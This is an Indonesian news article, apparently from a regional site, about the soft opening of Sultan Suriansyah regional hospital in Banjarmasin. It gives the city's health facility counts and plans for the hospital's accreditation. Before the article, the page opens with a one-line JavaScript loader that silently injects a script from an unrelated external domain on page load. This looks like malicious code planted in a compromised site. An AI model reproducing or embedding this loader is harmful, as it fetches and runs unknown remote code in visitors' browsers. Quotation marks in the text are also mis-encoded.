(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rumah Sakit Sultan Suriansyah mulai beroperasional merupakan sebuah catatat sejarah bagi seluruh lapisan masyarakat kota Banjarmasin. Pasalnya, sebelum rumah sakit tersebut beroperasi, dari beberapa kota di provinsi Kalsel hanya kota Banjarmasin yang belum memiliki rumah sakit daerah sendiri.
“Dengan ujicoba pengoperasian rumah sakit tersebut, maka pelayanan kesehatan bagi warga kota berjuluk Seribu Sungai, sudah sama dengan daerah lain,†kata Walikota Banjarmasin Ibnu Sina.
Adapun pelayanan kesehatan dasar yang dimiliki kota Banjarmasin terdiri dari 26 Puskesmas, 32 Puskesmas Pembantu (Pustu), 24 Puskesmas Keliling (Pusling), 50 Puskesdes, kemudian 354 posyandu, apotik dan balai pengobatan yang tersebar di seluruh kecamatan.
Dari hasil penelitian, lanjut Ibnu Sina, tahun 2016 lalu, jumlah kunjungan di Puskesmas dan jaringannya mencapai 700 ribu kunjungan.
Sehingga, dengan pengoperasian RS Sultan Suriansyah ini, ia berharap seluruh lapisan masyarakat bisa bersyukur dan ikut berbangga karena bisa memiliki rumah sakit umum daerah sendiri.
Kadis Kesehatan Kota Banjarmasin, Machli Riyadi saat soft opening rumah sakit menjelaskan, sejak tanggal 1 Agustus 2019 lalu, rumah sakit tersebut telah memiliki izin operasional. Atas dasar itu, maka upaya persiapan pengoperasiannya pun dilakukan Pemko Banjarmasin.
“Jadi persiapannya itu baik menyangkut sumber daya manusia, mulai dari kegiatan pelatihan, workshop dan seminar, juga beberapa karyawan telah dilakukan pelatihan, termasuk melakukan persiapan pengadaan alat-alat kesehatan dan non kesehatan, 95 persen sudah terpenuhi semua,†katanya.
Terkait dengan akreditasi rumah sakit, mantan Wadir RSJ Sambang Lihum Kalsel ini kembali mengatakan, saat ini pihaknya telah mempersiapkan dengan membentuk panitia tim akreditasi Rumah Sakit Sultan Suriansyah.
Bahkan, tuturnya, Tim Komite Akreditasi Rumah Sakit Jakarta sudah memberikan isyarat akan melakukan akreditasi pada bulan November nanti dengan mengevaluasi 3 bidang pelayanan, yang menjadi bahan evaluasi dari tim KARS. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.